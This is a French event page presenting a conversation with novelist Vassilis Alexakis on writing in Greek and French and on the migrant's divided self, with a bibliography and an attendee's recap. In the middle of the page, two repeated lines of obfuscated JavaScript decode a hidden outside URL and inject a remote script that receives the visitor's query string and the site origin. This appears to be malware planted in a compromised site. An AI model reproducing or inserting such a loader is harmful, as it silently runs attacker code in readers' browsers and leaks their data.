D’UNE LANGUE A L’AUTRE
Conversation avec Vassilis Alexakis
Vassilis Alexakis vit entre deux langues : le grec et le français. Son œuvre a commencé en français car il pouvait « plus facilement faire de l’humour dans cette langue » ; puis il est passé à la langue maternelle et de nouveau au français : « Il y a un virage avec Talgo, le premier livre écrit en grec où je fais la preuve que ma première écriture reste la même en passant d’une langue à l’autre, que je ne trahis aucune de deux langues et qu’aucune ne me trahit ».
Y-a-t-il des conditions pour que le « passage » d’une langue à l’autre reste constamment ouvert ? Y-a-t-il des conséquences dans la mesure où ce « passage » est aussi elui d’une culture à une autre ?
Nous savons que ce « passage » est plutôt un voyage inhérent à toute expérience de migration : tout migrant, d’un pays vers un autre ou d’une langue et d’une culture ver une autre, vit en lui deux processus simultanés :
-celui de l’éloignement de son ex « il » lié aux coordonnées de la culture qu’il quitte.
-celui d’un nouveau « il » qui se construit progressivement par le balbutiement du langage culturel du pays d’accueil.
Y-a-t-il risque que le nouveau « il » l’emporte sur le ex « il » et inversement ?
Peut on dire que la relation antre ces deux processus est celle de la traduction ou celle de la fécondation mutuelle ?
Les termes d’ « acculturation », d’ « adaptation » ou d’ « intégration » sont inadéquats pour décrire la dynamique conflictuelle qui se déroule dans le sujet migrant.
Bio-bibliographie :
Vassilis Alexakis est romancier, journaliste, cinéaste et dessinateur ; il écrit tantôt en français tantôt en grec des récits teints d’humour mêlant autobiographie, histoire universelle et récit fantastique.
Ses principaux ouvrages sont :
- Talgo, Ed. du Seuil, 1983, traduit du grec par l’auteur
- Paris-Athènes, Ed. du Seuil, 1989
- La langue maternelle, Ed. Fayard, 1995
- Les mots étrangers, Ed. Stock, 2002
- Ap.J.-C. Ed. Stock, 2007, Grand Prix du roman de l’Académie Française.
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
Et bien, il a dit que l’auteur ne cherche pas dans quelle culture il va écrire (française, grecque ou autre..) mais il cherche à trouver sa culture personnelle et à écrire dans celle-ci. Il s’agit de la culture du roman. Cette dernière a une existence propre et n’est pas liée à un à lui pays. Lui – même, quand il écrit dans une langue c’est parce que ses personnages la lui imposent.Pour écrire il faut 2 aiguilles comme pour le tricot; il faut 2 idées qui avancent ensemble en créant une histoire à laquelle il croit fortement. Il faut aussi aimer raconter des histoires, il en a raconté quelques une drôles et émouvantes.
il a dit qu’il doit écrire car il a un contrat avec son éditeur pour 1 livre par an, car il vit de cela dans tous les sens du terme!
Vous pouvez voir l’enregistrement de la manifestation à l’adresse ci-dessous:http://php.bm-lyon.fr/video_conf/detail.php?id=349Manolis